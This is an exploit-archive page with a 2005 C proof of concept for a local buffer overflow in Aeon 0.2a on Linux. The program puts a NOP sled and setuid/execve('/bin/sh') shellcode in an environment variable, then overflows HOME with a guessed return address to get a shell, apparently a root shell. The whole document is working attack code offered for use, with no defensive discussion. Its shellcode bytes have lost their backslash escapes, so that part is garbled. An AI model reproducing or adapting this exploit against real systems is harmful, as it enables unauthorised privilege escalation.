[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Aeon 0.2a Local Linux Exploit (c code)
# Published : 2005-04-05
# Author : patr0n
# Previous Title : AIX <= 5.3.0 (invscout) Local Command Execution Vulnerability
# Next Title : Linux Kernel 2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit


/* first release /str0ke */
/*
local linux exploit within aeon-0.2a
Coded by patr0n (security-tmp.h14.ru)
*/


#define BUFLEN 533
#define PATH "/home/research/aeon-0.2a/aeon"

char shellcode[]=
"x31xc0x31xdbxb0x17xcdx80"
"xb0x2excdx80xebx15x5bx31"
"xc0x88x43x07x89x5bx08x89"
"x43x0cx8dx4bx08x31xd2xb0"
"x0bxcdx80xe8xe6xffxffxff"
"/bin/sh";

int main(int argc, char *argv[]) {

        char evilbuf[BUFLEN];
        int i;
        char *p,*av[2], *ev[3];
        char *egg;

        egg=(char *)malloc(1000);
        sprintf(egg, "EGG=");
        memset(egg + 4, 0x90, 1000-1-strlen(shellcode));
        sprintf(egg + 4 + 1000-1-strlen(shellcode), "%s", shellcode);
	
	long ret=0xbfffffff-5-strlen(egg)-strlen(PATH);

        p=evilbuf;
        bzero(evilbuf,sizeof(evilbuf));
	strcpy(evilbuf,"HOME=");
		
        for(i=5;i<=BUFLEN;i+=4) 
	    *(long *)(p+i)=ret; 
	
        av[0] = PATH;
        av[1] = 0;
        ev[0] = egg;
	ev[1] = evilbuf;
        ev[2] = 0;
        execve(*av, av, ev);

        return 0;

}

// www.Syue.com [2005-04-05]